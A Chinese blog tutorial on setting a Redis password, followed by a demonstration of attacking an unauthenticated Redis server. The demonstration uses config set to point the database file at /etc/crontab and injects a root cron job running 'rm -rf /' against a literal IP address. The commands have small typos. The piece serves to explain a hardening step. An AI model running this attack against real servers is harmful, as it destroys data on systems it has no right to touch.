Redis教程(四)Redis密码设置与无密码攻击演示

TangLu Redis 2019-10-15 20756 0

通过Redis客户端连接服务与进行操作默认是不需要密码的,任何人只要连上了服务器那么就可以操作Redis里的数据,而且还可以利用confit set来在线修改redis的配置实现攻击。所以对于暴露在公网中的Redis服务器,我们不光要设置密码,还要设置一个足够复杂的密码才可以,因为Redis的连接速度非常快,官方文档中介绍是每秒可以进行150k次破解。设置密码后客户端连接上Redis进行任何操作都需要验证后才可进行。

下面是给Redis服务设置密码的方法:

方法1:修改redis.conf配置文件以下选项,然后完成重启

#requirepass foobared
requirepass  yourredispassword  #密码一定要复杂点

方法2:在线修改配置,无需重启

redis > config set requirepass 'redis_pass'
redis > config rewrite  #更新配置文件


设置密码后连接Redis,然后需要输入授权命令才可以进行操作,或者登录的时候加-a选项写出密码

redis > auth  redis_password  #登录后验证密码
redis-cli -a redis_password  #登录前验证密码


入侵无密码的Redis过程演示

1、通过config set来修改rdb文件的存储路径和文件名

redis-cli -h 221.141.14.5 config set dir '/etc/' 
redis-cli -h 221.141.14.5 config set dbfilename 'crontab' 


2、新建一个文本,用于之后redis读取后把这段内容添加到crontab中,文本上下各需要2行回车

vi /tmp/attack.txt


* * * * * root rm -rf /



3、把标准输入的内容交给redis执行,这个时候crontab已经添加上了attack.txt中的内容

cat /tmp/attack | redis-cli -h 221.141.14.5 -x set attack  #-x是从标准输入中读取
redis-cli save  #刷新rbd文件,让crontab被立即修改


评论